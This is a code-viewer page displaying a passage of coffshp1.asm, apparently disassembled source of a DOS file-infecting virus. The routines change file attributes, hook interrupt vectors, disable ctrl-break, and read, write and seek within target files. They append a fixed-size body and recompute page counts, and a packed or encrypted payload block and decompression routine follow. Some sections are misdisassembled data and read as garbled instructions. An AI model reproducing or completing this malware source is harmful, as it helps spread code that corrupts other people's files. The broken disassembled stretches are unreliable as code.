📄 coffshp1.asm
字号:
cwd ; Word to double word
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
pop ax
pop dx
pop ds
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ax
pop dx
int 21h ; DOS Services ah=function 33h
; set ctrl-break flag dl=off/on
retn
sub_4 endp
inc bx
dec di
push bx
inc bx
inc bx
dec sp
push si
push bx
dec si
inc bp
dec ax
push sp
push sp
inc dx
push si
dec cx
push dx
inc cx
inc si
inc bp
dec bp
push sp
inc dx
push dx
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_5 proc near
mov ax,[di]
sub ax,62h
jc loc_25 ; Jump if carry Set
cmp ax,14Bh
jae loc_26 ; Jump if above or =
loc_25:
mov ax,14Bh
loc_26:
mov [di],ax
retn
sub_5 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_6 proc near
call sub_13
mov dx,data_6e
mov cx,4
;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
sub_7:
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
retn
sub_6 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_8 proc near
call sub_11
add ax,620h
adc dx,0
jmp short loc_27
;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
sub_9:
call sub_11
loc_27:
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
or dx,dx ; Zero ?
jz loc_ret_28 ; Jump if zero
inc ax
loc_ret_28:
retn
sub_8 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_10 proc near
call sub_11
call sub_13
mov cx,620h
mov dx,si
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
cmp ax,cx
retn
sub_10 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_11 proc near
mov ax,[di]
mov dx,[di+2]
retn
sub_11 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_12 proc near
xor ax,ax ; Zero register
cwd ; Word to double word
;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
sub_13:
xchg cx,dx
xchg ax,dx
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
retn
sub_12 endp
and [di+4Bh],cl
and [bx],ah
cmp [bp+si],si
and ds:data_15e[bx],bh
cmp di,sp
jb loc_29 ; Jump if below
mov ah,4Ch ; 'L'
int 21h ; DOS Services ah=function 4Ch
; terminate with al=return code
loc_29:
mov si,403h
mov cx,170h
std ; Set direction flag
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
cld ; Clear direction
mov si,di
mov di,100h
lodsw ; String [si] to ax
lodsw ; String [si] to ax
mov bp,ax
mov dl,10h
jmp $+1439h
adc ax,7FDFh
cld ; Clear direction
mov ah,0Fh
int 10h ; Video display ah=functn 0Fh
; get state, al=mode, bh=page
; ah=columns on screen
mov ah,0
push ax
sti ; Enable interrupts
mov bh,0B0h
cmp al,7
;* je loc_31 ; Jump if equal
db 74h,0FFh
dec word ptr [bp+si]
cmp al,4
jae $+2Ah ; Jump if above or =
mov bh,0B8h
cmp al,2
jb $+24h ; Jump if below
mov es,bx
mov si,140h
db 0FFh,0FFh,0B0h, 19h, 57h,0B1h
db 50h,0F3h,0A5h, 5Fh, 81h,0C7h
db 0A0h, 00h,0FEh,0C8h, 75h,0F2h
db 03h, 8Fh,0B8h, 07h, 0Eh,0D6h
db 0FBh, 0Ch,0CDh, 21h, 58h,0F8h
db 63h,0A7h,0CBh, 20h, 02h,0FEh
db 20h, 00h,0FAh,0EBh,0B0h,0FCh
db 0F8h, 03h, 77h,0F0h,0E0h,0D0h
db 41h, 0Fh,0C0h, 2Fh, 07h, 1Dh
db 80h, 6Fh,0BAh,0DCh,0E1h, 34h
db 0DBh, 0Ch,0F8h,0F0h, 0Eh,0DFh
db 0FEh,0F4h,0F8h,0BBh,0AEh,0F8h
db 0E4h, 03h, 84h,0E0h,0FCh,0EBh
db 0B0h,0E6h,0EAh,0A3h, 83h,0DAh
db 0AAh, 0Eh,0DCh, 09h,0BAh,0C8h
db 01h, 3Ah,0F0h, 50h, 07h,0A2h
db 0E8h,0E0h,0ACh, 05h,0DBh, 0Eh
db 77h, 0Fh,0F8h,0DCh,0F6h,0BAh
db 0AEh,0F0h,0F6h,0EBh, 3Ah,0F0h
db 0F4h,0E0h, 40h, 17h,0FAh
loc_33:
in al,dx ; port 10h ??I/O Non-standard
sbb ax,0DF72h
esc 2,dl ; coprocessor escape
jz loc_33 ; Jump if zero
mov dx,20DDh
sbb ax,0DE74h
and [bp+si-45F9h],ch
esc 0,[bx+di-8] ; coprocessor escape
inc di
xchg di,ax
call $-171Ch
clc ; Clear carry flag
xchg ax,dx
hlt ; Halt processor
add [di],bl
db 60h,0D8h,0E8h, 09h,0DCh,0FEh
db 09h,0F8h,0B0h, 23h,0F8h, 5Ch
db 0D7h,0FCh,0F8h,0FCh,0E8h, 01h
db 3Bh,0F4h,0ECh, 80h,0D2h, 1Dh
db 0BEh,0BAh, 5Ch, 20h, 7Ch, 03h
db 75h, 60h,0CAh, 20h, 0Eh,0B2h
db 0D8h, 81h,0F0h, 3Bh, 40h, 92h
db 0D7h,0B5h,0CEh,0F8h,0DCh, 60h
db 0A7h, 41h,0DEh, 60h, 02h,0B5h
db 0BEh, 3Ch, 20h, 0Fh, 7Bh, 22h
db 65h, 07h, 15h, 60h, 6Eh, 42h
db 68h,0B8h, 20h,0FEh,0FCh,0AEh
db 23h,0FCh,0E2h, 7Fh, 07h,0C0h
db 0B3h, 20h, 2Fh, 60h, 79h, 28h
db 6Ah,0DEh, 7Eh,0E0h, 08h,0D5h
db 09h,0E4h,0C0h, 60h,0C1h, 70h
db 0Bh,0DFh,0E4h, 42h,0D0h, 7Bh
db 4Fh, 5Eh, 9Ah, 05h,0ADh
db 22h
db 06h, 80h, 70h, 10h, 60h, 3Eh
db 05h,0CAh, 5Eh, 41h, 46h,0A4h
db 53h,0EFh, 15h
db 7Ah
db 97h,0C2h, 54h, 74h, 04h, 20h
db 60h, 50h, 45h, 01h,0C8h,0E8h
db 0DCh, 05h,0F9h, 06h, 54h,0D8h
db 0DEh, 41h, 2Dh, 78h, 7Ah, 01h
db 55h, 75h, 04h, 20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哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_14 proc near
shr bp,1 ; Shift w/zeros fill
dec dl
jnz loc_ret_38 ; Jump if not zero
lodsw ; String [si] to ax
mov bp,ax
mov dl,10h
loc_ret_38:
retn
sub_14 endp
loc_39:
call sub_14
rcl bh,1 ; Rotate thru carry
call sub_14
jc loc_42 ; Jump if carry Set
mov dh,2
mov cl,3
locloop_40:
call sub_14
jc loc_41 ; Jump if carry Set
call sub_14
rcl bh,1 ; Rotate thru carry
shl dh,1 ; Shift w/zeros fill
loop locloop_40 ; Loop if cx > 0
loc_41:
sub bh,dh
loc_42:
mov dh,2
mov cl,4
locloop_43:
inc dh
call sub_14
jc loc_44 ; Jump if carry Set
loop locloop_43 ; Loop if cx > 0
call sub_14
jnc loc_45 ; Jump if carry=0
inc dh
call sub_14
jnc loc_44 ; Jump if carry=0
inc dh
loc_44:
mov cl,dh
jmp short locloop_51
loc_45:
call sub_14
jc loc_47 ; Jump if carry Set
mov cl,3
mov dh,0
locloop_46:
call sub_14
rcl dh,1 ; Rotate thru carry
loop locloop_46 ; Loop if cx > 0
add dh,9
jmp short loc_44
loc_47:
lodsb ; String [si] to al
mov cl,al
add cx,11h
jmp short locloop_51
loc_48:
mov cl,3
locloop_49:
call sub_14
rcl bh,1 ; Rotate thru carry
loop locloop_49 ; Loop if cx > 0
dec bh
loc_50:
mov cl,2
locloop_51:
mov al,es:[bx+di]
stosb ; Store al to es:[di]
loop locloop_51 ; Loop if cx > 0
loc_52:
call sub_14
jnc loc_53 ; Jump if carry=0
movsb ; Mov [si] to es:[di]
jmp short loc_52
loc_53:
call sub_14
lodsb ; String [si] to al
mov bh,0FFh
mov bl,al
jc loc_39 ; Jump if carry Set
call sub_14
jc loc_48 ; Jump if carry Set
cmp bh,bl
jne loc_50 ; Jump if not equal
xor bp,bp ; Zero register
xor di,di ; Zero register
xor si,si ; Zero register
xor dx,dx ; Zero register
xor bx,bx ; Zero register
xor ax,ax ; Zero register
jmp $-1480h
seg_a ends
end start
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -